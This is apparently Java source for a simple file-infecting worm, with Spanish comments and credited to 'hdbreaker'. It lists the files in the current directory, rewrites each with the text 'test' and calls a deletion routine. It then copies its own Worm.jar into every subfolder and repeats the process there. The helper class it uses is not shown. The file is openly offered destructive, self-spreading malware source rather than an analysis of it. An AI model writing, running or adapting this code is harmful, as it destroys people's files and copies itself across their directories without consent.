/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package worm;

import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.logging.Level;
import java.util.logging.Logger;

/**
 *
 * @author hdbreaker
 */
public class Worm {
        //Creo un Objeto del Tipo Archivo (Instancion la Clase Archivo)
        private static Archivo Archivo = new Archivo();
        private static ArrayList<String> Carpetas = new ArrayList<String>();
        private static File Worm = new File("Worm.jar");
    /**
     * @param args the command line arguments
     */
    public static void main(String[] args) {
        
        //Meto en un Array la Lista de Directorios
        String[] Ficheros = Archivo.ObtenerArchivos(".");
        //Seteo el Texto que escribira el Worm
        Archivo.setTexto("test");
        //Llamo a la Funcion que infecta los Archivos dela Carpeta
        InfectarDirectorio(Ficheros);
        //Funcion que trata todas las carpetas dentro de la Carpeta Principal e infecta su contenido
        spreadCarpeta();
        
        
    }
    
    
    
    public static void InfectarDirectorio(String[] ListaArchivos){
    
    
        
        //Loop donde escribo en todo los archivos de la carpeta (Spread)
        for (int i = 0; i < ListaArchivos.length; i++) {
            //Creo un File de todo el Array uno por uno
            File EsDirectorio = new File(ListaArchivos[i].toString());
            if (EsDirectorio.isDirectory()) {
                //Si es Carpeta lo Guardo en un ArrayList
                Carpetas.add(ListaArchivos[i].toString());
                
            }
            
            
            Archivo.setNombreArchivo(ListaArchivos[i].toString());
            Archivo.LeerArchivo();
            Archivo.CrearArchivo();
            Archivo.Borrar(".");
            
        }
        
    }
    
    public static void spreadCarpeta(){
    
            
            
            //Para todos los Elementos que sean Carpetas
            for(String Elemento : Carpetas){
                //Creo el File para cada Elemento
                File EsCarpeta = new File(Elemento);
                //Establesco la Ruta para Copiar el Worm
                File Ruta = new File(Elemento+"/Worm.jar");
                //Copio el Worm Principal a la Ruta (Carpeta)
                Archivo.copyFile(Worm, Ruta);
                //Si el Elemento es una Carpeta
                if(EsCarpeta.isDirectory()){
                        //Obtengo todo el Contenido de Esa Carpeta
                        String[] ArchivosDentroCarpeta=Archivo.ObtenerArchivos(Elemento.toString());
                        //Escribo en todos los Archivos de la Carpeta Hija
                        for (int i = 0; i < ArchivosDentroCarpeta.length; i++) {
                        
                        Archivo.setNombreArchivo(Elemento.toString()+"/"+ArchivosDentroCarpeta[i].toString());
                        Archivo.LeerArchivo();
                        Archivo.CrearArchivo();
                        Archivo.Borrar(Elemento.toString());
                
                 }
                        
                   
                    
                    
                
                }
                                
                
                
            }
            
                
                
            }
                
        
    
    
    
    
}
